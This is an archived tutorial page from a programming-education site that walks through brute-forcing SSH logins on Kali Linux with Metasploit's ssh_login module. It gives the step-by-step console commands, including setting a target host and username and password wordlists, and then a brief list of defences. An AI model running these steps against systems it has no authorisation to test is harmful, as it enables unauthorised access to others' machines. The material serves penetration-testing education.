The Wayback Machine - https://web.archive.org/web/20240611193121/https://www.geeksforgeeks.org/how-to-brute-force-ssh-in-kali-linux/
Open In App

How to Brute-Force SSH in Kali Linux?

Last Updated : 08 Jul, 2022
Improve
Improve
Like Article
Like
Save
Share
Report

The Secure Shell Protocol (SSH) is a cryptographic network protocol for operating network services securely over an unsecured network. Its applications are remote login and command-line execution. SSH protocols are based on the client-server architecture, i.e the SSH client and the SSH server.

This article explains the SSH Bruteforce attack. In this article, we will use Kali Linux because Kali is mainly used for advanced Penetration Testing and Security Auditing.

First of all for gaining access to the vulnerable machine we need the address of the machine or the name of the machine i.e. the ipV4 address. After that, we need a username and corresponding password to it. For this scenario, we bring the brute force attack, for username and password we make the two different text files one for possible usernames and one for the possible passwords.

For SSH brute force attack there are so many applications in Kali Linux for example:

 In this article, we will use Metasploit.

Steps for SSH Bruteforce Attack on a Vulnerable Machine:

Step 1. First of all please check the Metasploit is properly installed or not.

Step 2. Update and upgrade Kali Linux:

apt-get update && apt-get upgrade

Step 3. Run the following command in the console:

msfconsole

Output:

 

Step 4. Run command:

search ssh

Output:

 

Step 5. Select this auxiliary ssh file by giving the following command:

use auxiliary/scanner/ssh/ssh_login 

Step 6. To Show, options type the following command:

show options

Output:

 

Step 7. Set the options as much as you have:

For Example:

  • set RHOSTS 192.168.XX.XX (vulnerable machine address) 
  • set PASS_FILE /root/Desktop/passwords.txt (path of the passwords text file)
  • set USER_FILE /root/Desktop/usernames.txt (path of the usernames text file)
  • set VERBOSE true (it will show the exactly matched combination of username and password)

Step 8. Now to get a result, type the following command.

run

After running this command it will take some time it depends upon the file sizes. Because this is a Bruteforce attack so it will take a lot of time and depends on your machine architecture.

If the machine is vulnerable to this attack then you will get your ssh session.

By giving command sessions it will show you running jobs and select from them.

Preventions from SSH Brute Force Attacks:

  • Don’t use common usernames and passwords.
  • Use an allow list, and only allow users that require SSH Access.
  • Don’t allow root to login.
  • Don’t listen to every interface.
  • Don’t allow ssh passwords.

Previous Article
Next Article

Similar Reads

Reverse Brute Force Attack in System Hacking
The well-known and frequently utilized method of breaking into a system is brute force. The Reverse Brute Force attack is a different method from Brute Force in certain aspects but is very close to it overall. But first, we must comprehend the former (Brute Force) in order to comprehend the latter. Brute Force Attack:Users regularly utilize common
4 min read
Bypass Firewalls Using SSH
SSH is a secure protocol that can be used to tunnel through firewalls. By using SSH, we can connect to a remote server and tunnel our traffic through the SSH connection. Firewalls are designed to protect networks from unauthorized access, but a firewall can also block legitimate traffic if not configured correctly. This can be a problem when we nee
6 min read
What is Bitvise SSH Client?
Bitvise SSH Client uses a tunneling method to ensure that your data stays encrypted from machine to machine. You can create tunnels up to five hops deep, which means that someone with malicious intent could only access your data if they were on the same network as you are. Whenever you log in with Bitvise SSH Client, all traffic between your comput
4 min read
How To Extract rockyou.txt.gz File in Kali Linux?
The first thing that comes to mind when we think of brute-forcing a login with word lists is rockyou.txt. There is a lot of talk on the internet about rockyou.txt being the most popular file used by hackers and crackers to extract passwords. The interesting thing about this is that ethical hackers can use it to breach the security of any web applic
2 min read
Firewalk tool - kali linux
The article will go through how to install Firewalk, an overview of its components, how to run a Firewalk scan, and how to understand the scan findings. This post is intended for people who are new to Firewalk and wish to learn how to use it for network security evaluations. What is the Firewalk tool? Firewalk is an active network security tool use
5 min read
Introduction to Dirb - Kali Linux
Dirb is an online directory scanner that searches web servers for hidden files, directories, and pages. It is a free and open-source utility included in the Kali Linux distribution, a popular operating system for penetration testing and ethical hacking. Dirb may be used to detect typical web server folders and files, such as admin pages, backup fil
7 min read
HASHDEEP: A Digital Forensics tool in kali linux
In today's digital world, where most people are connected with digital assets directly or indirectly. Now securing these digital assets and maintaining the security of data is especially important to maintain our privacy and integrity. In this article, we are going to learn about the HASHDEEP tool, which is an open-source digital forensics tool.  D
4 min read
Install Honeypot on Linux With Demo
Honeypots are computer applications that collect information from hackers and other criminals. They can be used from a physical or a virtual location, and come in many forms. Honeypots use a wide range of techniques to trap malicious activity and are primarily used in the information security industry. Hackers use honeypots to learn about vulnerabi
2 min read
How to Authorize Inbound Traffic For Your Linux Instances?
Configuring inbound (or incoming) traffic to your Linux instance is critical to setting up and managing your server's security. Without properly configuring it, you risk having your instance compromised and all of your data stolen by a malicious user. This article will review how to configure inbound traffic rules on a Linux instance. AWS is used h
4 min read
How to setup Portmaster Firewall for Linux
"Linux is secure by default" You must have heard this a lot of times but guess what? It's a myth. Linux doesn't need a firewall or antivirusA base Linux system normally is not that secure compared to a base Windows system because by default it "normally" doesn't come with a firewall or antivirus, the only few things a default Linux distribution has
7 min read
Article Tags :